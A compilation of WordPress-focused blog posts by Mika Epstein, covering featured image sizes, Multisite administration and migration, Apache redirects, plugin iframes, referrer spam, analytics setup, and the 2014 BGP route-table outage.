### [Featured Image Size](https://halfelf.org/2014/featured-image-size/)
**Published:** September 1, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When you can't remember the size of your featured images and it matters...
**Content:**
I’m particular about a lot of things, including my excerpts and featured images. The biggest problem I have is remembering what my featured image size should be. You see, I *do* slap up a custom image, just for that, most of the time, and remembering that the size should be 900×220 every day is something I just can’t do. So I lamented, as I checked for the 99th time, that I should be able to pull in the size!
What I want is this:

And yes, I did it with this in my functions.php for my theme:
```
//* Add new image sizes
add_image_size( 'featured-image', 900, 220, true );
//* Change Featured Image to remind me what the size is
add_filter( 'admin_post_thumbnail_html', 'helf_admin_post_thumbnail_html' );
function helf_admin_post_thumbnail_html( $content ) {
// Get featured image size
global $_wp_additional_image_sizes;
$featured_image = $_wp_additional_image_sizes['featured-image']['width'].'x'.$_wp_additional_image_sizes['featured-image']['height'];
// Apply
$imagesize = 'Image Size:' . $featured_image . 'px';
$content = $imagesize . $content;
return $content;
}
```
The trick there is I have to know the *name* of my featured image. Since I use Genesis, it’s usually named ‘featured-image’ but it could be anything. That also means on my Theme Settings I have this set:

And that has to match. So, since I *am* running Genesis, it’s a quick change to put in this check instead:
```
add_filter( 'admin_post_thumbnail_html', 'helf_admin_post_thumbnail_html' );
function helf_admin_post_thumbnail_html( $content ) {
// Define what the name of our featured image size is
$genesis = get_option('genesis-settings');
$genesis_image_size = $genesis['image_size'];
// Get featured image size
global $_wp_additional_image_sizes;
$my_featured_image = $_wp_additional_image_sizes[$genesis_image_size]['width'].'x'.$_wp_additional_image_sizes[$genesis_image_size]['height'];
// Apply
$imagesize = 'Image Size: ' . $my_featured_image . 'px';
$content = $imagesize . $content;
return $content;
}
```
The only thing I couldn’t get to work was an if-check around the filter so I could make sure I really *am* running Genesis. Future improvements, I suppose.
**Categories:** How To
**Tags:** coding, plugins, wordpress
---
### [He Ain't Heavy, He's My Website](https://halfelf.org/2014/heavy-website/)
**Published:** September 3, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Why would I use Multisite vs Single Sites when I have 100 sites?
**Content:**
I get asked this a lot from a more technical perspective.
All the myriad reasons you have to use, or not use, Multisite aside, the question that is often wondered and confused over is the one where we’re trying to balance out ease of support vs cost. You see, a lot of the time, people consider multisite because they’re on a webhost who only allows one domain for your site. You may be able to use add-on domains but they also may be limited, and the easiest way to run a hundred sites on one hosting plan is *multisite*.
I have to remind everyone here, I would never, ever, in the history of ever even remotely consider running Multisite on anything less than a VPS. Yes. I said it. Keep in mind when I run a Multisite I’m always doing it to run a network of heavy duty sites. If I was just running a tiny private network, my goals would be different. But more than that, I keep in mind the realizations of the limitations of shared hosting. Shared hosted is tiny. Multisite is big. Match ’em up and you’ll be happier.
What does this have to do with the heft of a network? Well if I have 100 separate sites and 100 sites on a multisite network, what’s the real, practical difference?
- 100 separate logins vs 1 login on 100 sites
- 100 separate sites to update vs 1 site
That’s pretty much it. Yes, there are a dozen of little things (like it’s easier to restrict access to a single site) that come into play here, but when you start looking at the server itself, the practical differences when it comes to things like disk space, memory usage, process utilization, and emails, there is no negligible differentiation on your site’s performance.
Yeah, 100 separate sites and 100 sites on a network will run pretty much the same on the same server, assuming the exact same level of traffic and use of plugins. That’s a pretty big assumption most of the time but in this one case, it’s safe. We’re trying to compare apples and apples, with only one difference: Multisite or Not.
Of course, there are specific situations where a multisite will cause more damage to a server than a single site, especially if you’re doing a lot of cross-content manipulation (like including the RSS from one site into the sidebar of another). But it all really depends on if you have a lot of traffic. Yes, one Multisite blog getting hammered will hurt the others on the network, but it shouldn’t cause a significant CPU spike any more than two separate really massive single sites would on the same server.

And there is *one* place where Multisite very much would do more work on the server than Single Site, and that’s with [ms-files.php](https://halfelf.org/2012/dumping-ms-files/ "Dumping ms-files"). That old magic that made your image URLs to be domain.com/files/2014/09/image.job. The way that worked was to pass images via .htaccess through the ms-files.php page and then generate the image. Yes, that caused more load. It’s part of why we don’t do it anymore, and why I suggest never trying that again.
It’s funny, though. I’ve seen one host say that Multisite will use less by way of PHP processes because it’s one install, while another said it would use more because ‘Multisite’, and a third said there’s no difference.
Obviously I don’t think there’s a difference.
**Categories:** How It Works
**Tags:** multisite, performance, wordpress
---
### [Network Rules](https://halfelf.org/2014/network-rules/)
**Published:** September 5, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I have my own rules about how I run a network and here they are!
**Content:**
I love Multisite. I don’t think people use it ‘right’ but I love it. So I’ve started to make my own rules about Multisite and how to use it properly.
## Only One SuperAdmin
There should be only one SuperAdmin, and you should never use that account to post. This will limit what you can do on any given day, and you’ll need a second account to mess with network settings, but this is a good thing. While WordPress lacks a sudo feature (yes, I know there are plugins), having only one SuperAdmin and locking that account tight and keeping the keys to yourself limits people’s ability to be mean to you and brute force. Extra points if you name the account something random.
## Restrict Access
Only give people access to what they need. This means you limit their plugins to what they have to have, ditto themes, and you don’t let them argue they need the unicorn.

You knew I’d pull that one out, right?
Be mean and say no. Don’t let someone be an admin of a hundred sites if they only need to be admin of one. Don’t let them be *members* of sites they don’t need to write on. Remember, Multisite makes you a pseudo-subscriber so a user will be able to read and comment on all sites on your network. They only need to be a legit member if there’s a real reason, like it’s a locked site.
## Don’t Network Activate Things
Perhaps this is better said as follows: Only **network** activate things that **must** be network activated.
Is it ‘easier’ to network activate W3TC and configure it for your network? Sure! Should you? Probably. But what about Jetpack? Does everyone need it? Do they all need the tool for GUI comments when not all the sites even use comments? Be judicious and cautious when you network activate plugins.
## Test All The Things
Vet your plugins and themes before you install them. Test your upgrades on a non-production site. I cannot stress this enough. Test, test, test, test! Test! Just … test okay?

## What are your rules?
I asked on Twitter and Tim Moore said he turns off the plugin menus for subsites. You can do this very easily by going to Network Admin -> Settings -> Network Settings and uncheck the plugins box for “Enable administration menus.” I do sort of wish we had more things there, like disable themes and so on, but seeing as you can more granularly control themes *anyway* it doesn’t matter that much.
**Categories:** How It Is
**Tags:** administration, multisite, wordpress
---
### [The Great Internet Slowdown](https://halfelf.org/2014/great-internet-slowdown/)
**Published:** September 8, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Join the battle for net neutrality on September 10th.
**Content:**
Wednesday is the [Great Internet Slowdown](http://tumblr.fightforthefuture.org/post/96103039973/september-10th-is-the-internet-slowdown-lets-show-the) where websites all over the world are going to protest the cable conglomerates getting together to tell us how fast our internet can be to specific sites, when they want it to be fast or not.
I’m going to do this one simply. You know how you can dial *anyone* on your phone, and it’s your responsibility to not dial up sex numbers if that offends you? The phone company doesn’t limit your ability to do that. It doesn’t stop you from sexting your ex at 2am when you’re drunk and that was a really bad idea, wasn’t it? They don’t tell you, as you dial a psychic, that you should dial this other one instead. No, they let you shoot yourself in the foot.
Well that’s not how they want it to work on the Internet.
Cable companies are spending billions to gut the heart right out of net neutrality and create fast lanes and slow lanes on the Internet. A company that pays them more will get their site loading faster. A company that doesn’t, even if it has superior products, would be slower.
> This isn’t about how quickly our cat videos load, it’s about the future of our ability to communicate, to learn, to create, and to rebel. It’s about the future of humanity.
I know that sounds a little heavy handed, but it’s true. The ability to use the Internet for communication is massively important. I work with people all around the globe, I fix websites all over the place and I talk constantly with people everywhere. I need to be able to do this to succeed at my job. If cable companies get their way, it might make it impossible for products like WordPress to develop as quickly as it does today.
It’s already hard enough, with nations putting up firewalls and blocks preventing China from reaching Google for fonts, to get things done. But now we’re letting companies you and I might not even use decide they know what’s right?
Come on! Let me decide if I want to go to that site and talk to those people! It’s just like the phone, after all.
If you’re on WordPress, grab the [Cat Signal Plugin](https://wordpress.org/plugins/cat-signal/). You can install it and leave it on, it’ll turn itself on when needed.

**Categories:** How It Is
**Tags:** essay, freedom, open source
---
### [The Internet is Down](https://halfelf.org/2014/internet-down/)
**Published:** August 13, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Storing addresses on the internet when the address book runs out of room means the internet goes boom
**Content:**
When things were new and we used to dial in to a BBS on someone’s computer, what we meant by ‘the internet’ is down was pretty simple. Either our phones were down and we couldn’t dial out or someone else’s were down and we couldn’t dial in.

On August 12th, a network outage took my server ‘down.’ Now, trying to explain this on Twitter was complicated, since it’s a more than 140 character explanation. The situation was pretty basic. The internet pipe leading to and from my server wasn’t working right. But what did that mean?
As I love to do, let’s step back and think about all the various ways your ‘internet’ might ‘break.’ It’s a fun thought experiment, and this is in no particular order.
- Your home/work internet isn’t working and no one can get anywhere
- Your device’s internet connecter isn’t working and you can’t get any signal
- You’re in a place with no signal/wifi
- Your firewall is preventing you from accessing a site
- The server that houses site you’re trying to visit is offline (or on fire)
- The site you’re trying to visit has a code error and nothing loads
- The DNS is wrong for the site
- The nameserver is wrong/changing (mea culpa)
- The internet connection from the site to the rest of the world is down
- There’s a problem in between you and the site
That list is incomplete. What happened to me on the 12th was the last one, however, and it was caused by something particularly weird that can be summed up as this: We finally hit 512K BGP routes on the internet today and ran out of room.
https://twitter.com/TheProtestBoard/status/499270694702972928
Of course, what’s BGP is the next question. From [Reddit](http://www.reddit.com/r/sysadmin/comments/2dcol3/the_internet_hit_512k_bgp_routes_today_causing/)
> BGP is a routing protocol that advertises routes externally, each large organization advertises some BGP routes at the edge of their network. Each edge device has a routing table with all the advertised BGP routes from around the internet.
So think of it like a giant phone book, and we ran out of pages. Now before you get scared, not every router needs *all* the tables. Instead, most routers have the core ones everyone needs, and then they link out to other routers and tables for the rest. These tables act as giant maps for the entire Internet, and those maps are pretty damn big.
A lot of routers, especially Cisco which I think powers most of the Internet, simply started dropping routes when they hit the 512k limit. That means you simply could not get from point A to point B, or in this case, you couldn’t get to your website from your ISP. I could, for example, get to my site on my phone and from my home internet, but not my office. Go figure. The routers had no idea how to find my domain.
This isn’t something ‘new’ by the way. In may, the [IPv4 routing table hit 500k routes](http://packetlife.net/blog/2014/may/6/global-ipv4-routing-table-hits-500k-routes/) and the prediction was we’d hit 512k no sooner than August, more likely October. Oops.
As Otto put it:
> Everything was affected. See
> http://downdetector.com/ for example. All those blue graphs should usually
> be quite flat.
>
> 
That’s AT&T. It was pretty much the same for everyone, though.
The fix? Well systems engineers spent their August 12th reconfiguring their routers and in many cases upgrading memory, but it’s a practical limitation of the Internet. That isn’t a long term fix, either. Nor is IPv6. Oh, I should explain that too.
Internet Protocol version 6 (IPv6) is the latest version of the Internet Protocol (IP). That’s your internet address, your IP. It’s possible to share them, like all my domains have the same one, and you can change them if you need to, but mathematically speaking there’s a limit to how many there can be, in addition to those routing tables. This gets worse when you realize that every single device on the Internet is assigned an IP address for identification and location definition. Your phone. Your iPad. You get the idea.
There are improvements to the mess with IPv6. We’re using IPv4 for about 95% of the net right now, and the IP ‘blocks’ you get take up a lot of room. But with IPv6 the blocks will be larger and store more, so they’ll paradoxically take up less room. But it’s not a full fix. We’re going to have to come up with a better way to store the data for the tables, because things are only getting bigger.
On the plus side, for the first time in a long time, when someone yelled “The Internet is broken!” they were actually right.
**Categories:** How It Works
**Tags:** essay, internet
---
### [Marrying Multisite](https://halfelf.org/2014/marrying-multisite/)
**Published:** August 29, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When you can't quit Multisite, it's time to contemplate how to marry it all together.
**Content:**
While there’s really no practical difference, server usage wise, between 100 separate sites and a multisite with 100 sites, a lot of us prefer to use Multisite for a variety of reasons. And today, assuming you have thought long and hard about those reasons, let’s talk about how to take 100 sites and fold them into one multisite. And yes, this will suck. If you read about [how to break up a multisite](https://halfelf.org/2013/breaking-up-multisite/ "Breaking Up Multisite"), you may already have an inkling of the pain you’re about to embark on.

## Make A Temporary Site
The first thing that makes it hard is that you have to keep your existing site up and running while you import it, no matter how you chose to import. So regardless of if you’re moving subdomains or subfolders, you need to make a temporary site. I like to keep the site names similar, and the same length because it’s easier for me. So if I’m moving a site with the slug ‘donnanoble’ then I’m going to make the *new* site on my network named ‘donnanobl**1**‘
There’s a practical reason for this. When I’m all done with everything, I can do a search/replace with any tool to change it back to ‘donnanoble’ and I don’t *have* to use a tool like the [interconnectit Search/Replace DB](https://github.com/interconnectit/Search-Replace-DB) script that has serialization safe super powers. If you use [WP-CLI](http://wp-cli.org), the built in `wp search-replace` tool has this already, and I’d be using that personally. The point is that you will be renaming everything at the end to the original name eventually.
## Bring in the Content
I personally do this via the WordPress Import/Export feature.
Now look, I know you *can* port over the tables and rename them but … I wouldn’t. Why? The users. The tables for the users have to be pulled over with the right user meta, and you would have to marry the `wp_users` and `wp_usermeta` tables in a way that no user ID was duplicated. Frankly, I don’t think it’s really possible to do that well. If I had to, I would actually manually create the new users on my Multisite and make a note of that new ID. Oh and of course the user names can’t both be admin. You can’t have two Doctors at once. Well. You can. And I’m sure they all use the same username, but you’re using WordPress and not a TARDIS, so if two users have the *same* username, then either they’re going to be the same user or you’re going to have to make one a new account.

There are number of you thinking about how many people use ‘admin’ as their username, and yes, that’s exactly what I’m talking about. But if we’re lucky and doctor11 and doctor10 used different login IDs on their sites, then you’re just going to need to copy over the one line in `wp_users` for that:

See how he has an ID of 10? That has to match all of these:

They don’t match right now, do they? Nope. The Doctor has an ID of 10, but the snippet I took from his site was for a user ID of 2, so I have to edit everything in `wp_usermeta`. Next, I have to rename my tables for `wp_posts`, `wp_postmeta`, etc etc over to `wp_x_posts` and so on, to make them match the new site ID. Oh and don’t forget `wp_user_roles`! You have to fix that for your new site ID too! And then reattribute *all* your posts!

You see this slope and how it’s getting really slippery really fast? That’s why I won’t do it. It’s certainly possible, but it’s neither simple nor easy nor safe. Importing and exporting via WP’s built in tools has only two downsides as I see it:
1. Your users have to make new passwords
2. You have to reconfigure your theme and plugin settings
That first one doesn’t bother me. The second one doesn’t either, since not all the plugins and themes work the same way on Multisite, so I probably want to take the time to do it all cleanly anyway. That does mean that I can’t automate things, but at the same time, I’m not particularly sure I want to. Taking each site one at a time will take longer, but it will let me be careful and test everything every step of the way.
Either way, once you have the site content in place, and your site settings look and feel how you want them to, it’s time to do a flip.
## Flip The Sites
Take your original site, donnanoble, and rename it. If it’s a subdomain, turn off whatever weirdness you did in your panel to map the subdomain. For most types of server panels, having both named subdomains and a wildcard can live happily together, because the ‘real’ subdomain will supersede the wildcard. If not, you’ll need to change that subdomain to point to the location of your main install of WordPress. So if you’re in `/public_html/donnanoble/` then that becomes `/public_html/` on it’s own.
Either way, you have this real folder on your server called donnanoble and that needs to be renamed to anything else. At this point, I tend to use donnanoble-disabled because it is. Also it’s not supposed to work anymore.
Once you’ve broken donnanoble, it’s time to go into your network admin, go to the sites page, and edit the donnanobl**1** site. Rename that to donnanoble, and check the box to change both home and site URL. Oh, and remember I mentioned search and replace before? Run that now. Change donnanobl**1** to donnanobl**e** all over the whole database.
## I told you it wasn’t super easy

If you’re like me, you now have a bit of a headache, thinking about doing this 100 times. It’s one of those things that should conceivably be easier than it is, but right now WordPress really only has a way to export *content* and not settings (which is pretty much why we have such nightmares [segregating content and code](https://halfelf.org/2012/code-segregation/ "On The Segregation of Code")).
It *may* be plausible to use tools like BackupBuddy to import, but you still will find yourself at a tense moment when you have to flip the real and temporary sites around.
**Categories:** How To
**Tags:** administration, multisite, wordpress
---
### [The Revolution of .htaccess and Multiple Domains](https://halfelf.org/2014/htaccess-revolution/)
**Published:** August 25, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Real if-statements in Apache, really powerful, and really awesome let you handle multiple domains in far cleaner and complex ways. And I love it.
**Content:**
I mentioned this in a post about jiggering Google and Multisite WordPress, and my buddy Jan went “WOW!” So I’ll start with the best thing ever in Apache, to me at least. Apache 2.4 allows for real if/else statements in .htaccess.

In 2012, I wrote about how I did a lot of request header detection in order to make myriad blocks of checks to sort out my [.htaccess anarchy](https://halfelf.org/2012/htaccess-anarchy/). As I explained here, I have to do a check for the domain for each and every rewrite rule:
> Why did I duplicate the RewriteCond? Typically, you cannot use multiple RewriteRule statements following a single RewriteCond. That means for ever call I make to a domain, I can use but one rewrite rule. There are ways around that, but none of them worked well for me.
It’s ugly on Apache 2.2. Since that time, however, I’ve moved to Apache 2.4, and the world is vastly different thanks to If/Else calls!
Let’s take this old section I had from my move (about 6 years ago) from blog.ipstenu.org to ipstenu.org, as well as some permalink changes *and* a change to my uploads folder:
```
# Ipstenu Moves
RewriteCond %{HTTP_HOST} ^blog\.ipstenu\.org
RewriteRule ^(.*) https://ipstenu.org/$1 [L,R=301]
RewriteCond %{HTTP_HOST} ^ipstenu\.org
RewriteRule ^blog/([0-9]{4})/([0-9]{2})/(.*)$ https://ipstenu.org/$1/$3 [L,R=301]
RewriteCond %{HTTP_HOST} ^ipstenu\.org
RewriteRule ^blog/(.*)$ https://ipstenu.org/$1 [L,R=301]
```
Taking each block at a time, the first was easy:
```
RewriteRule ^(.*) https://ipstenu.org/$1 [L,R=301]
```
Pretty simple. If the host is blog.ipstenu.org, redirect. And it *mostly* worked. Except where `http://blog.ipstenu.org/dsfasfsdf` sent me to `https://ipstenu.org/home/ipstenu/public_html/dsfasfsdf` … Which isn’t good! The fix here is that you use RedirectMatch instead of RewriteRule, which gives us this!
```
RedirectMatch (.*) https://ipstenu.org$1
```
Excellent, then on the second one which becomes this:
```
RedirectMatch ^/blog/([0-9]{4})/([0-9]{2})/(.*) https://ipstenu.org/$1/$3
RedirectMatch ^/blog/(.*) https://ipstenu.org/$1
```
What’s the difference here? Well, RewriteRule is handled by Apache’s mod\_rewrite, while Redirect is handled by mod\_alias. I know I have mod\_rewrite on, but I don’t know why it insists on tossing in the path statement.
However I can assure you that these ifs work perfectly. I’m using them right here on this site. My whole .htaccess is wrapped with them.
**Categories:** How To
**Tags:** apache, htaccess
---
### [Don't iframe Me In](https://halfelf.org/2014/dont-iframe-me-in/)
**Published:** August 22, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Just give me apis, lots of apis, and the secure connection through.
**Content:**
I review plugins for WordPress.org, and one of my pet peeves is when I see a plugin that purports to connect your site to their service…. using an iframe.
I have a stock reply to those:
> Having the admin dashboard be just an iframe isn’t permitted.
>
> We don’t permit plugins to phone home like that (for two main reasons – security and appearance – too often people assume that they just signed into WORDPRESS and not your plugin). Please change your code to use an API or just link back to your site so they can configure things there.
The minority of the time, this is accepted, fixed, and moved on. The majority of the time, people complain that it’s ‘easier’ or ‘not confusing’ or ‘someone else is doing it.’
If everyone on the planet would stop using someone *else* doing something wrong as a reason to allow them to do it, I’d be so happy… But that isn’t the point. The point is that using an iframe in a plugin is a bad idea in general, and a horrible idea for your admin panel.
Let me step back. Like everything else, iframes are awesome to a point. They’re a great, easy, way to include content in your site without having to include a mess of code. When YouTube was new, iframes was the only way to include videos, and they looked like this:
```
```
You’ll notice the iframe has to specify a height and width, which means I can’t adjust my site quite as much as I want to. The other major issue here is that I’ve had to specify http, which means if my site runs https, I will have security issues. Now, there are workarounds to this (and YouTube now uses a src of `//www.youtube.com/embed/oHg5SJYRHA0` to mitigate the security issue), but there’s another, cooler, aspect to how it’s all working.
If you use WordPress, you don’t have to paste in the iframe at all, ever, because you have embeds! What the embed does is use the magic of [oembeds](http://oembed.com/) to … well … embed! This allows WordPress to reach out to YouTube, ask how it wants to embed itself, and use either embed code or iframes or html5, or whatever else we come up with! It does this using an API (application programming interface) which let’s it talk back and forth. This same principle applies to your plugin pages. If you use an iframe, it’s a quick and dirty way to include content from your service (like a login form) on the plugin-user’s site.
So why don’t I like people to use it? Let’s start with the login issue. The admin page could be changed to point that iframe anywhere it wants, making it easy to send you to a page that looks a lot like the ‘right’ page but isn’t. This is a lot harder to do if, instead, you have an API that securely transmits data. If someone can edit the php code of your plugin, either one is possible to be redirected, but the API details are a little harder to fake.

An iframe is also a problem when you consider layout. Yes, it can make design easier in that you are in full control of the design, but you’re not in control of the rest of the site. I like the eggplant color for my admin dashboard, and if your iframe clashes with that because you don’t ‘look’ like WordPress, then it’s jarring for a user. Another worry? Adblock or Ghostery, the two most popular browser extensions ever, will often block those things.
Finally, and for me this is the biggest one, your users won’t know where their account is. Look, I know it should be obvious when you have something that ‘makes’ an account with a service that the account belongs to the service. And yet. One of the places I help out is with WordPress.org password resets. 90% of the emails are for people trying to reset the password on their own blogs. You can’t convince me that people actually know what they’re doing anymore, if they ever did.
So please, don’t put an iframe in your plugin as the only way I can access your admin area. It’s lazy, it’s insecure, and it’s confusing. It’s 2014. Trust me, people understand allowing their blog to connect to Twitter now.
**Categories:** How It Works
**Tags:** design, plugins, security, wordpress
---
### [Referrer Madness](https://halfelf.org/2014/referrer-madness/)
**Published:** August 27, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Salting the SEO statistics and munging my analytics? No thank you.
**Content:**
Everyone’s heard of Semalt by now. They are, weirdly, an actual company run by actual people, who are entirely weird and annoying.
I should explain. I’ve talked to them in email and twitter, and I’ve read about them all over the net, like everyone else has. They’re an ‘SEO’ company who trawls the net via bots, just like Google and everyone else, tracking you and your competitors. Here’s how they explain it:
> Semalt is a professional webmaster analytics tool that opens the door to new opportunities for the market monitoring, yours and your competitors’ positions tracking and comprehensible analytics business information.
That sounds vaguely legit when you look at it on the surface. They’re based in the Ukraine, which explains the imperfect English, and showed up right around the time Russia was invading, so most of us made Putin jokes and moved on. They’re not actually doing anything bad, they’re just acting like a regular bot, scanning your site…
Except they’re not.

When asked, they’ll tell you that Semalt crawler bots visit websites and gather statistical data for their service, simulating real user behavior. Their crawler bots, and yes, they admit they’re bots, don’t click on advertising banners or extend links. And all the visits are automatic and random.
This means their goal is to get a bot that acts like a human. Now I don’t know about you, but I don’t trust anything when I can’t see it’s brain, and I certainly know better than to believe in true random when it comes to software. But what gets me is how you *stop* the bot from scanning.
Everyone uses a robots.txt file to block bots from scanning things they don’t need to scan. If you use WordPress and have pretty permalinks on, go to http://example.com/robots.txt and you’ll see a default file, made by WordPress, to block various folders like wp-admin from being scanned.
Semalt ignores these. They also ignore things like bot rate limiting, and they use IPs from around the world to scan your site (arguably to get a better idea of real speed and response), so they end up acting a little like a DDoS attack. Worse, they claim to act like a ‘user’ but I never have a link to my wp-admin pages from the front of my site, which means their bot is checking for WordPress and going there not because a user would have any reason, but simply because Semalt *knows WordPress is there*.
They have a [form you can fill out](http://semalt.com/project_crawler.php) to have it removed if you want, but we’ve been using [robots.txt](http://www.robotstxt.org/) for years, and I simply fail to understand why they’re ‘better’ than the standard.
Besides that, what’s the real issue here? Semalt is screwing up my stats. They’re using referrer links to check my sites out, which means I have a bunch of referral links like this:
`semalt.com/competitors_review.php?u=https://halfelf.org`
Those links tell me someone linked to me, and generally I go back and check them out to see if they’re something I want to talk to or work with. These are not. Worse, they don’t really act like ‘real’ users, despite the claim. Karen Francis has a great explanation as to why [Semalt is ruining your bounce rates](http://www.kymodo.com.au/what-is-semalt-doing-on-your-website/) in Google, and a couple good ways to block them.
Am I blocking them? No, not right now. Do I trust them? Not at all. They make it ‘easier’ for someone else to compare themselves to me, which is laudable, but they do it in a way that makes it harder for me to understand how my sites are doing. And that, to me, is the epitome of the goal of all black hat SEO companies. They gain at someone else’s loss.
**Categories:** How It Works
**Tags:** analytics, seo
---
### [Mailbag: One Analytics to Bind Them](https://halfelf.org/2014/mailbag-one-analytics-to-bind-them/)
**Published:** August 18, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** One Google Analytic Account for all your sites? Super Easy!
**Content:**
Mailbag on Monday because Angie Meeker asks:
> Do you have an article about getting Google Analytics right on Multisite, so SA can see indiv stats for each site, but also parent. Where the SAdmin owns the entire GA account (site owners don’t need their own GA account)
There are a few ways to do this, and they’re all pretty easy.
## Google Mod\_PageSpeed
This is the ‘easiest’ way if you already have PageSpeed installed. You can put in your [GA filter](https://developers.google.com/speed/pagespeed/module/filter-insert-ga) in the .htaccess and be done with it:
```
ModPagespeedEnableFilters insert_ga
ModPagespeedAnalyticsID
```
That’s actually what I do here, because I’m incredibly lazy and I have Pagespeed set up on my server. I can even make this a little more special by using [if statements in Apache 2.4](https://blogs.apache.org/httpd/entry/new_in_httpd_2_4):
```
ModPagespeedEnableFilters insert_ga
ModPagespeedAnalyticsID
```

## MU Plugin
But if you’re still on Apache 2.2 or don’t want to mess with .htaccess for whatever reason, then you should try an mu-plugin, my favorite things in the world. And all you have to do is this:
add_action('wp_footer', 'helf_add_googleanalytics');
function helf_add_googleanalytics() { ?
// Paste your Google Analytics code here
}
[/php]
This will hook into every theme with a proper wp_footer (and all your themes have them, right?) and plunk in your GA stats. Done.
Of course there are probably plugins that would do this and show you the stats within WordPress panel, but I like actually going to Google and seeing everything that's going on. They spent a lot of time on their interface, after all.
**Categories:** How To
**Tags:** analytics, coding, google, plugins, wordpress
---
### [Moving WordPress Multisite](https://halfelf.org/2012/moving-wordpress-multisite/)
**Published:** January 31, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Moving WordPress is easy. Moving WordPress Multisite is less so, but it can still be done.
**Content:**
I answer this a lot.
*Edited to add: If you’re just moving to a new server and keeping your domain name, it’s **exactly** like moving Single Install WordPress. Just remember to make sure your new server is set up to handle wildcard domains, and your httpd.conf has ‘AllowOverride’ set to ‘All’ and you should be fine. If you’re moving to a new domain name, read on!*
*Edit #2: The [Incerconnectit Search/Replace DB script](https://github.com/interconnectit/Search-Replace-DB) is also perfect to use, though you still need to manually edit a couple places.*
Moving a normal WordPress site is really easy. Copy over your data. Change your URLs, do a search/replace on your wp\_posts table (to fix any internal links), go out for a beer. Some of you may need to edit a wp-config file, but mostly that’s it.

Then there’s Multisite, which sucks. See, unlike single installs of WordPress, you can’t change your site URLs easily. Don’t get me wrong, if you’re a Super Admin, you can easily go into WP Admin -> Network -> Sites and edit the sites. You’d have two places to edit it:
**On the Info Tab**

**On the Settings Tab**

But here’s where it starts to suck. If you’re changing tech.ipstenu.org to press.ipstenu.org for example, you do that and *then* you need to go to your database and look for the site posts table (in this case, it’s `wp_2_posts`) and search/replace tech.ipstenu with press.ipstenu.
That’s not terrible, right? It looks a lot like moving a single install of WordPress.
What if you have your site as subfloders, using ipstenu.org/tech and ipstenu.org/press though? And you want to move everything to lipstenu.org?
This is where it sucks.
See some widgets and theme settings store your data and include your URL. This is done with data serialization as well, which means the *length* of your URL matters. If you changed from **i**pstenu.org to **L**pstenu.org, then you would be perfectly safe doing a total database search/replace of the domain name! But since I’ve proposed changing it to **Li**pstenu.org, I can’t do that. Any field that counted my domain name would be off by one, and thus invalid, and thus wipe out my settings. Oh and to make it worse? Depending on how you uploaded your media and included it in your site, your postmeta table might also be filled with this.
It’s important to understand two things here.
1. This situation exists on a normal single site install.
2. You don’t *have* to change it in those places!
And as a maybe third, I know a lot of people who do a blanket search/replace all the time and never have a single problem. But because I know enough who *do* have issues, I can’t safely recommend you try it unless you have a rock-solid backup of your database.
This brings us to the point. How *do* you move WordPress Multisite to a new domain name?
***Very, very, carefully.***
You’re going to have to do some work in the database, so now’s the time to get some coffee and practice not freaking out. If you have phpMyAdmin, editing your WordPress database is not terrifying, but like a cat, should be approached with caution. Remember to take a full backup of your database before you start. A good backup.
First, it’s perfectly safe to edit all `wp_posts` (and `wp_x_posts`) tables with a search/replace of your domain name. I strongly suggest using as much of the domain as you can: i.e. http://newdomain.com instead of just newdomain. This will make sure you don’t confidently change the content of your posts. The [Incerconnectit Search/Replace DB script](https://github.com/interconnectit/Search-Replace-DB) is also perfect to use here, but it won’t fix everything, which is why we have another step:
Next you need to manually go through these tables:
- `wp_site`
- `wp_blogs`
Those two tables are really straight forward, by the way. You’ll see what to edit right away.
Then you have to manually (again) review *all* the wp\_x\_options tables and look for THREE fields:
- home
- siteurl
- fileupload\_url
**Only** edit those. And yes, you have to do it manually in each of the options table unless you used the [Incerconnectit Search/Replace DB script](https://github.com/interconnectit/Search-Replace-DB) earlier.
Once you’ve done that, go into your `wp-config.php` and see if you have to change `define( 'DOMAIN_CURRENT_SITE', 'ipstenu.org' );` (depending on your change, you may not).
And … that should be it.
It’s a pain, but it’s not insurmountable.
Right away, though, you can see the complications if you’re moving a site from ipstenu.org/wordpress to ipstenu.org, and while most of the changes remain similar, you need to remain vigilant and attentive with every change you make. The `wp_blogs` table is where it gets stickiest, as you have to add in the new subfolder (or remove it) by editing a separate field in the row.
Just pay attention, read carefully, and remember to breathe.
**Categories:** How To
**Tags:** database, multisite, wordpress
---
### [Home Affects Your Website](https://halfelf.org/2014/home-affects-your-website/)
**Published:** July 28, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** No, just being on a shared server is not more dangerous than anything else.
**Content:**
There’s a vulnerability with an old version of MailPoet, which according to Sucuri, is the [reason for the breaking of ‘thousands’ of WordPress sites](http://blog.sucuri.net/2014/07/mailpoet-vulnerability-exploited-in-the-wild-breaking-thousands-of-wordpress-sites.html). I do not doubt their claim, nor the validity of the statement, but I did wince mightily at their wording.
> At the time of the post, the root cause of the malware injections was a bit of a mystery. After a frantic 72 hours, we are confirming that the attack vector for these compromises is the MailPoet vulnerability. To be clear, the MailPoet vulnerability is the entry point, it doesn’t mean your website has to have it enabled or that you have it on the website; **if it resides on the server, in a neighboring website, it can still affect your website**.
>
> All the hacked sites were either using MailPoet or had it installed on another sites within the same shared account ([cross-contamination still matters](http://blog.sucuri.net/2012/03/a-little-tale-about-website-cross-contamination.html)).
I bolded the important part here.
I disagree with the broad, sweeping, implication that statement makes. While they do mitigate that with the next paragraph (and yes, you should read the links), it gives a bad impression as to what the issue really is there. If the vulnerable code resides on your server, under your user account, in a web-accessible directory, then *yes*, it can affect your website. However for any decent webhost, your site being vulnerable will not result in *my* domain being hacked.
Good hosts don’t permit users to access each other’s files. I know it’s semantics, but the implication is that a stranger’s website on your server *will* make you vulnerable. And that’s just not a given. I know that explaining the nature of relationships between user accounts and access is fraught with complexity, but this is a place where I look at security sites and bang my head on the table because they’re not educating people.
